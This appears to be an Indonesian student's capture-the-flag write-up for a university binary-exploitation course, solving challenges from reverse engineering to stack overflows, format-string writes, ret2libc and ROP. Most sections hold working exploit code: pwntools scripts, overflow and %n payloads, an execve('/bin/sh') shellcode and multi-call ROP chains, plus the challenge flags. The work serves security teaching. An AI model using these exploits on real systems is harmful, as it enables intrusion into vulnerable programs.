Test Socket

Diberikan program yang memintakan input tanggal lahir kita dalam hex (DD/M/YYY) pada port berikut:

```
$ nc ctf99.cs.ui.ac.id 9235
```

saya masukkan input: 02/A/7CF dan flag akan muncul

```
$ nc ctf99.cs.ui.ac.id 9235
02/A/7CF
CSIE604270{Great,CraftYourPayloadCarefully}.
```

FLAG: CSIE604270{Great,CraftYourPayloadCarefully}

Learn x86 assembly, please!

Diberikan sebuah file yang sudah dicompress dan di dalamnya terdapat file binary dan script assembly.

pada file assembly di method main terlihat ada beberapa angka yang disimpan pada suatu memmory seperti yang terlihat dibawah ini:

```
main:
.LFB0:
        .cfi_startproc
        lea     ecx, 4[esp]
        .cfi_def_cfa 1, 0
        and     esp, -16
        push    DWORD PTR -4[ecx]
        push    ebp
        .cfi_escape 0x10,0x5,0x2,0x75,0
        mov     ebp, esp
        push    ebx
        push    ecx
        .cfi_escape 0xf,0x3,0x75,0x78,0x6
        .cfi_escape 0x10,0x3,0x2,0x75,0x7c
        sub     esp, 48
        call    __x86.get_pc_thunk.ax
        add     eax, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_
        mov     DWORD PTR -42[ebp], 1162433347
        mov     DWORD PTR -38[ebp], 842281014
        mov     DWORD PTR -34[ebp], 1283141687
        mov     DWORD PTR -30[ebp], 1819571305
        mov     DWORD PTR -26[ebp], 1684948325
        mov     DWORD PTR -22[ebp], 1399742825
        mov     DWORD PTR -18[ebp], 1701995365
        mov     DWORD PTR -14[ebp], 808467060
        mov     WORD PTR -10[ebp], 125
        mov     BYTE PTR -12[ebp], 50
        mov     BYTE PTR -11[ebp], 57
        sub     esp, 12
```

```
        lea     edx, .LC0@GOTOFF[eax]
        push    edx
        mov     ebx, eax
        call    puts@PLT
        add     esp, 16
        mov     eax, 0
        lea     esp, -8[ebp]
        pop     ecx
        .cfi_restore 1
        .cfi_def_cfa 1, 0
        pop     ebx
        .cfi_restore 3
        pop     ebp
        .cfi_restore 5
        lea     esp, -4[ecx]
        .cfi_def_cfa 4, 4
        ret
        .cfi_endproc
```

saya coba mengartikan nilai integer tersebut dalam nilai ascii menggunakan command strings sehingga didapatkan sebagian flag yang belum lengkap.

```
(base) Darells-MacBook-Pro:test darell$ strings test
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
puts
__libc_start_main
GLIBC_2.0
__gmon_start__
CSIE
6042
70{L
ittl
eEnd
ianS
ecre
t:00f
UWVS
```

flag tersebut yaitu: CSIE604270{LittleEndiansSecret:00fUWVS… dst

string flag selanjutnya didapat saat setelah saya menganalisis code assembly, yaitu pada bagian setelah mov nilai flag tersebut pada memmory ada command yang mengisi sisa flag yang tadi yaitu di bawah ini:

```
mov     WORD PTR -10[ebp], 125
mov     BYTE PTR -12[ebp], 50
mov     BYTE PTR -11[ebp], 57
```

125 dalam ASCII adalah karakter ‘}’
50 dalam ASCII adalah karakter ‘2’
57 dalam ASCII adalah karakter ‘9’
sesuai urutan pada memmory didapat flag yaitu:
FLAG: CSIE604270{LittleEndiansSecret:29}

Debug

diberikan file binary yang bernama find_the_number, sesuai instruksi soal yaitu melihat nilai pada memori 0x404028. Saya buka file binary dengan gdb dan menjalankannya lalu melihat isi file pada alamat tersebut

```
gef➤  x/wx 0x404028
0x404028 <secret>:     0x92741232
```

terlihat ada angkat pada alamat yang bermana secret berikut kemudia saya mencoba untuk memasukkan angka tersebut pada input flag. Namun, ternyata bukan angkat tersebut bukan flagnya lalu saya mencoba representasi angka lainnya yaitu desimal dan betul itu angka flagnya.
FLAG: CSIE604270{1837886926}

Executable

diberikan tiga file, yang mana soal memperbolehkan memilih salah satu untuk mendapatkan flagnya. Selain itu, soal memberikan *clue* untuk menggunakan tools seperti ghidra. Selanjutnya, saya membukan file tersebut menggunakan IDA dan melihat hasil decompile dari binary tersebut.

```
.text:00000000100007F8                li        r4, 0x43
.text:00000000100007FC                li        r5, 0x53
.text:0000000010000800                li        r6, 0x49
.text:0000000010000804                li        r7, 0x45
.text:0000000010000808                li        r8, 0x36
.text:000000001000080C                li        r9, 0x30
.text:0000000010000810                li        r10, 0x34
```

karena flag dimulai dengan CSIE atau dalam hex → 43 53 49 45, maka pada code hasil decompile saya menemukan beberapa baris program yang menunnjukkan flag dalam hex. Setelah itu flag berlanjut pada baris yang lain:

```
.text:00000000100006F8                li        r9, 0x32
.text:00000000100006FC                std       r9, 0x370+var_310(r1)
.text:0000000010000700                li        r9, 0x37
.text:0000000010000704                std       r9, 0x370+var_308(r1)
.text:0000000010000708                li        r9, 0x30
.text:000000001000070C                std       r9, 0x370+var_300(r1)
.text:0000000010000710                li        r9, 0x7B
... dst
```

sehingga didapat
FLAG: CSIE604270{EmulationOrHackItsYourCall}

Easy Buffer Overflow

diberikan dua file yaitu file binary dan file script dengan C. pada script tersebut terlihat agar server bisa membuka flagnya. variabel hack_me harus bernilai lebih dari 0x2 sehingga nanti flag akan didapatkan.

```
setvbuf(stdout, NULL, _IONBF, 0);
int hack_me = 0x2;
char buf[10];

puts("Enter a number (Max 10 digits)");
gets(buf);
if(hack_me > 0x2)
        system("echo \"Hi, here is your flag\"; cat flag.txt");
else
        puts("Ok thanks");
return 0;
```

karena buffer yang disediaka 10, maka kita bisa memberikan payload lebih dari 10 sehingga akan menimpa variable hack_me yang di atasnya.

```
(base) Darells-MacBook-Pro:Downloads darell$ nc ctf99.cs.ui.ac.id 9124
Enter a number (Max 10 digits)
12345678901
Hi, here is your flag
CSIE604270{That_was_ez_right}
```

FLAG: CSIE604270{That_was_ez_right}

Buffer Overflow Again

diberikan dua file yaitu file binary dan file script bahasa C. Pada script tersebut script tidak jauh berbeda dengan soal sebelumnya. Namun kondisi yang mengecek nilai hack_me dimodifikasi menjadi harus bernilai sama dengan 0x12345678. Jadi, payload yang disiapkan adalah seperti ini dengan format little endian:

```
(base) Darells-MacBook-Pro:Downloads darell$ echo -e 'AAAAAAAAAA\x78\x56\x34\x12' > payload
(base) Darells-MacBook-Pro:Downloads darell$ nc ctf99.cs.ui.ac.id 9123 < payload
Enter your name (Max 10 characters)
Hi, here is your flag
CSIE604270{Nice_Job_You_Overflowed_That_Buffer}
```

FLAG: CSIE604270{Nice_Job_You_Overflowed_That_Buffer}

More Buffer Overflow

diberikan dua file yaitu file binary dan file script bahasa C. Pada script tersebut ada 3 fungsi yaitu: main, run, dan target. Flag akan didapatkan apabila fungsi target dijalankan tetapi pada main maupun run tidak ada pemanggilan fungsi target. Oleh karena itu, kali ini overflow yang dilakukan adalah menargetkan return address dari fungsi saat pemanggilan run.

```c
#include <stdio.h>

void target() {
    puts("this_string_is_replaced_by_a_flag_on_the_server");
}

void run() {
    char buf[10];
    gets(buf);
    puts("Noted!");
}

int main(int argc, char const *argv[])
{
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("What do you want?");
    run();
    return 0;
}
```

Pertama cari alamat fungsi target terlebih dahulu karena proteksi PIE tidak dinyalakan maka alamat target yang kita cari akan selalu sama.
dengan menggunakan objdump alamat target bisa didapatkan yaitu: 0x4005c6

```
target:
  4005c6:       55      pushq   %rbp
  4005c7:       48 89 e5        movq    %rsp, %rbp
  4005ca:       48 8d 3d 07 01 00 00    leaq    263(%rip), %rdi
  4005d1:       e8 ca fe ff ff  callq   -310 <.plt+0x10>
  4005d6:       90      nop
  4005d7:       5d      popq    %rbp
  4005d8:       c3      retq
```

setelah itu meyiapkan payload untuk meng-overflow return address dengan address target.
payload terdiri dari: *padding + RBP + return address target*

```
$ python -c 'print "A"*10 + "BBBBBBBB" + "\xc6\x05\x40\x00"' > payload
$ nc ctf99.cs.ui.ac.id 9311 < payload
What do you want?
Noted!
CSIE604270{Have_You_Got_A_Buffer_Overflow_Hattrick?}
```

FLAG: CSIE604270{Have_You_Got_A_Buffer_Overflow_Hattrick?}

Format String Easy

diberikan dua buah file yaitu: file binary dan file script dengan bahasa C. Terdapat vuln pada printf yang mana parameter pertamanya adalah langsung input dari user dan flag akan didapatkan apabila variabel target bisa diubah menjadi nilanya 1337.

```c
int main() {
    setvbuf(stdout, NULL, _IONBF, 0);

    int target = 0;
    char name[20];
```

```
    printf("What's your name?\n");
    scanf("%s", name);
    printf("Hello, ");
    printf(name, &target);
    printf("!\n");

    if(target == 1337) {
        system("cat flag.txt");
    }
}
```

kemudian dengan memasukan input dengan formatting dengan padding sebanyak 1337 lalu menuliskannya dalam memmory dengan %n

```
(base) Darells-MacBook-Pro:~ darell$ nc ctf99.cs.ui.ac.id 9312
What's your name?
%1337x%n
Hello,
b18c4fcc!
CSIE604270{BewareOfFormatStringAttacks}
```

FLAG: CSIE604270{BewareOfFormatStringAttacks}

Format String Hard

diberikan dua buah file yaitu file binary dan file script C sebagai berikut:

```
#include <stdio.h>

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);

    char flag[64];
    FILE *f = fopen("flag.txt","r");
    fgets(flag,64,f);

    char name[64];
    printf("What's your name?\n");
    fgets(name, sizeof(name), stdin);
    printf("Hello, ");
    printf(name);
    printf("\n");

    return 0;
}
```

dari code di atas kita bisa menggunakan format string attack untuk membaca isi memmory stack yang mana isi flag.txt berada pada stack tersebut.
Pada awalnya saya mencoba memasukkan input %x sebanyak 18 kali pertama kali untuk menebak flag berada pada posisi stack keberapa.

```
(py2.7) Darells-MacBook-Pro:Downloads darell$ python -c "print '%x'*18" > payload
(py2.7) Darells-MacBook-Pro:Downloads darell$ nc ctf99.cs.ui.ac.id 9313 < payload
```

```
What's your name?
Hello,
ea40c0804ed698c00707825782578257825782578257825782578257825756e654794ed6f66045495343557b30376e617
473445f435f706c6548
```

setelah input yang kita masukkan terlihat output nilai hex dari input kita yaitu 7825 dan seterusnya. Setelah itu saya masukkan angka yang lebih besar 40, 20, dan terakhir stack yang terprint maksimal adalah 21.

Setelah barisan 7825 tersebut saya curiga bahwa angka tersebut adalah nilai hex dari flag, lalu tanpa ragu saya langsung convert menjadi ascii dan didapatkan:

```
00000000  45 49 53 43 55 7B 30 37 6E 61 74 73 44 5F 43 5F  EISCU{07natsD_C_
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

setelah saya analsisis beberapa string flag yang lain ada yang terpotong. Ternyata file binary yang diberikan setelah saya cek merupakan 64-bit dan dengan format string yang saya masukkan sebelumnya hanya membaca 4 byte saja untuk perbaris stack. Oleh karena itu saya merevisi payload agar bisa membaca lebih banyak.

```
root@7fb1b6bf462a:/src# python -c "print '%lx'*18" > payload
```

```
32 34 30 36 45 49 53 43 00 00 00 00 00 00 00 00  2406EISC........
72 65 64 6E 55 7B 30 37 00 00 00 00 00 00 00 00  rednU{07........
67 6E 69 64 6E 61 74 73 00 00 00 00 00 00 00 00  gnidnats........
5F 73 65 6F 44 5F 43 5F 00 00 00 00 00 00 00 00  _seoD_C_........
7D 73 70 6C 65 48 00 00 00 00 00 00 00 00 00 00  }spleH..........
```

FLAG: CSIE604270{Understanding_C_Does_Helps}

Format String Harder

diberikan dua buah file yaitu binary 32-bit dan file script C. saat dijalankan file binary terseut. program memberikan informasi alamat variabel *hack_me* pada stack.

```
root@7fb1b6bf462a:/src# ./format_harder.dms
This is the location of the hack_me varible: 0x56672160
Ok now change its value to 420
```

kemudian saya masukkan input pada program dengan input format string dan dipatkan setelah menulis “%x” sebayak 9 kali maka ter-print alamat yang sama dengan alamat hac_me tersebut. Selanjutnya kita tinggal mengisi nilai sebanyak 420 pada alamat tersebut.

```
root@7fb1b6bf462a:/src# python -c "print '%x'*9" > payload
root@7fb1b6bf462a:/src# ./format_harder.dms < payload
This is the location of the hack_me varible: 0x57c23160
Ok now change its value to 420
14f7f445c00f7f44000f7f440000ffa13e74f7f443fc57c23160
Sorry you failed
```

Setelah mengetahui posisi memory, saya memasukkan input seperti berikut, yaitu memberikan

padding 420 lalu menuliskannya sebagai parameter ke-9 yaitu alamat memory variabel pada stack

```
(base) Darells-MacBook-Pro:Downloads darell$ nc ctf99.cs.ui.ac.id 9125
This is the location of the hack_me varible: 0x56a6d160
Ok now change its value to 420
%0420x%9$n
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0014
CSIE604270{Format_Format_Format_String}
```

FLAG: CSIE604270{Format_Format_Format_String}

ROP is better than OOP

diberikan file binary 32-bit dan file scirpt C.

```c
void print_flag(int p1)
{
        FILE *fd = fopen("flag.txt", "r");
        if(p1 == 0x31030408)     {
                char flag[100];
                fgets(flag, 100, fd);
                printf("%s\n", flag);
                exit(0);
        }

        puts("<3");
}

void vuln()     {
        char buf[8];
        gets(buf);
}

int main(int argc, char const *argv[])
{

        setvbuf(stdout, NULL, _IONBF, 0);

        puts("Call the print_flag function with the required arguments");
        puts("Param1: 0x31030408");

        vuln();

        return 0;
}
```

Setelah menganalisis script C di atas. maka diperlukan input yang bisa meng-*overwrite* return address dari vuln() menjadi menuju ke print_flag dengan tambahan parameter yang diperlukan agar masuk melewati statement if.

mencari alamat print_flag:

```
root@7fb1b6bf462a:/src# readelf -a rop.dms  | grep print_flag
    73: 080491c6   124 FUNC    GLOBAL DEFAULT   13 print_flag
```

setelah memasukkan input AAAABBBBCCCCDDDDEEEEFFFF didapat nilai ebp menjadi:

```
gef➤  x $ebp
0xfff4d058:     0x45454545
```

dapat diambil analisis buffer ada sebanyak 16 ditambah 4 dari ebp sehingga kita dapat meng-overwrite return address setelah buffer 20 byte dan memberikan parameter 8 byte setelah return address.

```
#!/opt/anaconda3/bin/python
from pwn import *
r = remote('ctf99.cs.ui.ac.id', 9127)

PARAM = 0x31030408
PRINT_FLAG = 0x080491c6

buf = b'A'*20
payload = buf + bytes(p32(PRINT_FLAG)) + b'AAAA' + bytes(p32(PARAM))


r.sendline(payload)
r.interactive()
```

```
(base) Darells-MacBook-Pro:Downloads darell$ python better_than_oop.py
[+] Opening connection to ctf99.cs.ui.ac.id on port 9127: Done
[*] Switching to interactive mode
Call the print_flag function with the required arguments
Param1: 0x31030408
CSIE604270{32_bit_is_cool_because_the_parameters_are_only_stored_on_the_stack}

[*] Got EOF while reading in interactive
```

FLAG: CSIE604270{32_bit_is_cool_because_the_parameters_are_only_stored_on_the_stack}

Stack Shellcode

diberikan file binary 64-bit dan script C-nyanya. file script C-nya sebagai berikut:int main(int argc,

```
char const *argv[])
{
        setvbuf(stdout, NULL, _IONBF, 0);

        char buf[400];
        printf("Here is the address of buf: %lp\n", &buf);
        printf("Now input the shellcode and run it: ");

        gets(buf);
        return 0;
}
```

setelah dianalisis, inject dapat dilakukan dengan mengisi buffer sebanak 400 ditambah ebp kemudian memasukkan alamat buffer untuk mengarahkannya kepada shellcode yang kita inject

yaitu pada awal buffer.
ilustrasinya sebagai berikut:

shellcode	buffer	ebp	return address

sehingga saya membuat script python dengan pwntools sebagai berikut:
dengan menggunakan shellcode dari referensi *http://shell-storm.org/shellcode/*
dan saya memilih dengan konfigurasi sesuai file binary yaitu x_86 yang 64-bit
Linux/x86_64 execve("/bin/sh"); 30 bytes shellcode

```
int main(void)
{
    char shellcode[] =
    "\x48\x31\xd2"
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
    "\x48\xc1\xeb\x08"
    "\x53"
    "\x48\x89\xe7"
    "\x50"
    "\x57"
    "\x48\x89\xe6"
    "\xb0\x3b"
    "\x0f\x05";

    (*(void (*)()) shellcode)();

    return 0;
}
```

selanjutnya saya membuat script python sebagai berikut:

```
from pwn import *

# r = process('./stackshellcode.dms')
r = remote('ctf99.cs.ui.ac.id', 9126)
r.recv(28)

shellcode =
b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
buf = b'A' * (400 - len(shellcode))
ebp = b'A' * 8
buffer_addr = int(r.recvline(14).strip(), 16)

print(hex(buffer_addr))
payload = shellcode + buf + ebp + p64(buffer_addr)

r.sendline(payload)
r.interactive()
```

dan menjalankannya

```
(base) Darells-MacBook-Pro:Downloads darell$ python shell_attack.py
[+] Opening connection to ctf99.cs.ui.ac.id on port 9126: Done
0x7fffe098f7f0
[*] Switching to interactive mode
```

```
Now input the shellcode and run it: $ ls
flag.txt
stackshellcode
stackshellcode.c
$ cat flag.txt
CSIE604270{Old_tricks_never_die_shellcode_is_awesome_and_when_learning_javascript_exploitation_it_is_very_useful}
```

FLAG:
CSIE604270{Old_tricks_never_die_shellcode_is_awesome_and_when_learning_javascript_exploitation_it_is_very_useful}

Libc Return

diberikan tiga file yaitu: file binary 32-bit dengan proteksi PIE, CANARY, dan NX dinyalakan. setelah melihat deskripsi soal yang dilakukan untuk bisa memanggil bin/sh bisa menggunakan offset dari fungsi system pada libc yang disediakan serta mencari alamat string bin/sh tersebut. Untuk sampai langkat tersebut pertama kali kita harus mengetahui alamat base libc dimulai pada alamat mana. Caranya adalah dengan menggunakan alamat puts yang diberikan program lalu kita kurangkan dengan offset puts sekaligus fungsi system juga pada versi libc yang diberikan.

```
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')     # libc name
libc = ELF('./libc6-i386_2.23-0ubuntu11_amd64.so')     # libc name

#readelf -s /lib/i386-linux-gnu/libc.so.6 | grep read/system
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']

libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh = binsh_addr
```

Selanjutnya proses menyusun pemanggilan address - address yang sudah didapatkan untuk memang

```
payload = b"A"*20
payload += p32(system_addr)
payload += b"A"*4
payload += p32(binsh)
```

lalu menjalankan program dan akhirnya bisa mendapatkan bash

```
(base) Darells-MacBook-Pro:Downloads darell$ python break3.py
[+] Opening connection to ctf99.cs.ui.ac.id on port 9128: Done
[*] '/Users/darell/Downloads/libc6-i386_2.23-0ubuntu11_amd64.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
puts_offset:  0x5f140
system_offset:  0x3a940
```

```
binsh_addr:  0x80486d0
puts_addr:  0xf7577140
================
puts:  0xf7577140
libc base:  0xf7518000
system:  0xf7552940
binsh:  0x80486d0
b'AAAAAAAAAAAAAAAAAAA@)U\xf7AAAA\xd0\x86\x04\x08'
[*] Paused (press any to continue)
[*] Switching to interactive mode
, ingat bahwa ini bukan address system
Ok sekarang laksanakan ret2libcnya :)
$ ls
flag.txt
libc_return
libc_return.c
$ cat flag.txt
CSIE604270{Fun_fact_aku_gabisa_ret2libc_selama_5_bulan_pertama_aku_belajar}
```

FLAG: CSIE604270{Fun_fact_aku_gabisa_ret2libc_selama_5_bulan_pertama_aku_belajar}

ROP is starting get to advanced

diberikan file binary 32-bit dan file scriptnya sebagai berikut:

```c
#include<stdio.h>
#include<stdlib.h>

FILE* fp;
char* buf;

void target(int p1, int p2)      {
        if(p1 == 0x12345678 && p2 == 0x87654321) {
                puts("Flag.txt opened!");
                fp = fopen("flag.txt", "r");
        }
        else if(p1 == 0xaabbccdd && p2 == 0x11223344)    {
                puts("Flag read!");
                fgets(buf, 200, fp);
        }
        else if(p1 == 0x03030808 && p2 == 0x31310404)    {
                puts("Here you go!");
                printf("%s\n", buf);
        }
}

void vuln()     {
        puts("Good luck~");
        char buf[8];
        gets(buf);
}

void init()     {
        // Jangan panggil fungsi ini lebih dari sekali!
        setvbuf(stdout, NULL, _IONBF, 0);
```

```
        buf = malloc(200);
}

int main(int argc, char const *argv[])
{

        init();
        puts("Kali ini tujuannya mengubah return address beberapa kali untuk panggil fungsi target
beberapa kali dengan parameter berbeda2");

        vuln();
        return 0;
}
```

Setelah dianalisis kita perlu memanggil fungsi target dengan paramter yang diganti secara bergantian agar File flag dapat diprint oleh program.
Pertama saya mencari ROPgadget untuk menyusun payload dalam pemanggilan fungsi dengan dua parameter. Untuk itu saya memilih ROPgadget yang bisa pop sebanyak parameter lalu ret.

```
root@d1a754ccfd14:/src# ROPgadget --binary=rop_advanced.dms | grep pop
0x080493e2 : pop edi ; pop ebp ; ret
```

mencari address target:

```
root@d1a754ccfd14:/src# objdump -d rop_advanced.dms | grep target
080491c6 <target>:
```

setelah mendapatkan address yang dibutuhkan, selanjutnya kita menyusunnya seperti di bawah ini:

```
target_addr = 0x080491c6
p1 = 0x12345678
p2 = 0x87654321
p11 = 0xaabbccdd
p22 = 0x11223344
p111 = 0x03030808
p222 = 0x31310404
ret = 0x0804900e
pop_pop_ret = 0x080493e2

payload = b"A"*16
payload += b'BBBB'
payload += p32(target_addr)
payload += p32(pop_pop_ret)
payload += p32(p1)
payload += p32(p2)
payload += p32(target_addr)
payload += p32(pop_pop_ret)
payload += p32(p11)
payload += p32(p22)
payload += p32(target_addr)
payload += p32(pop_pop_ret)
```

```
payload += p32(p111)
payload += p32(p222)
```

menjakan script python tersebut.

```
(base) Darells-MBP:Downloads darell$ python exploit_rop.py
[+] Opening connection to ctf99.cs.ui.ac.id on port 9129: Done
[*] Switching to interactive mode
Kali ini tujuannya mengubah return address beberapa kali untuk panggil fungsi target beberapa kali
dengan parameter berbeda2
Good luck~
Flag.txt opened!
Flag read!
Here you go!
CSIE604270{Common_trick_used_in_ROP_nanti_untuk_ROP_64_bit_sama_ret2libc_berguna_sangat}
```

FLAG: CSIE604270{Common_trick_used_in_ROP_nanti_untuk_ROP_64_bit_sama_ret2libc_berguna_sangat}

GOT to learn the PLT

diberikan file binary 32-bit dan file script C. pada soal ini diberikan clue bahwa flag terdiri dari 3 digit terakhir dari alamat puts, setvbuf, gets, dan __libc_start_main.
Script yang diberikan menggunakan fungsi yang disebutkan di atas sehingga kita bisa mencari alamatnya dari table GOT menggunakan leak dari fungsi gets pada program ini:

```
#include<stdio.h>
#include<stdlib.h>

void vuln()     {
        char buf[8];
        gets(buf);
}

int main(int argc, char const *argv[])
{

        setvbuf(stdout, NULL, _IONBF, 0);
        puts("Tujuan kalian adalah mencari 3 digit terakhir (dalam hex) dari address fungsi puts,
setvbuf, dan gets");
        puts("Libc yang digunakan aku rahasiakan");
        puts("Silakan menggunkan fungsi puts untuk mencetak address-addressnya o_O");
        puts("Good luck all!");

        vuln();
        return 0;
}
```

pertama mencari address fungsi - fungsi berikut pada file elf yang diberikan dengan menggunakan readelf.

```
Relocation section '.rel.plt' at offset 0x394 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
```

```
0804c00c  00000207 R_386_JUMP_SLOT   00000000   gets@GLIBC_2.0
0804c010  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804c014  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804c018  00000607 R_386_JUMP_SLOT   00000000   setvbuf@GLIBC_2.0
```

jadi alamat tersebut nantinya akan dilink oleh plt pada alamat aslinya di libc. oleh karena itu untuk mengetahuinnya kita biss menggunakan fungsi put pada program untuk read alamat yang diload pada memory di atas. Berikut alamat puts yang akan digunakan:

```
root@45c1b8acfa9c:/src# objdump -d got_plt.dms  | grep puts
08049050 <puts@plt>:
```

Setelah itu, menyusun payload dengan ditambah gadget yang diperlukan untuk menjalan kan fungsi beserta parameternya satu persatu untuk setiap fungsi.

```
SETVBUF = 0x804c018
PUTS = e.plt['puts'] # 0x08049050
puts_not_plt = 0x804C010
GETS = 0x804C00C
LIBC_START_MAIN = 0x804C014
POP_EBX = (rop.find_gadget(['pop ebx', 'ret']))[0] # 0x08049022

pad = b"A"*16
pad += b'BBBB'
rop = pad + p32(PUTS) + p32(POP_EBX) + p32(GETS)

r.sendlineafter('gets', rop)
r.recvline()
r.recvline()
r.recvline()
r.recvline()
recieved = r.recvline().strip()

leak  = hex(u32(recieved[:4].ljust(4, b'\x00')))
print("leaked address: %s" % (leak))
```

scritpt dijalankan untuk setiap fungsi, dan didapatkan:

```
#libc 0xf7516660
#puts 0xf762a470
#gets 0xf7579b50
#setvbuf 0xf75cdad0
```

FLAG: CSIE604270{470_ad0_b50_660}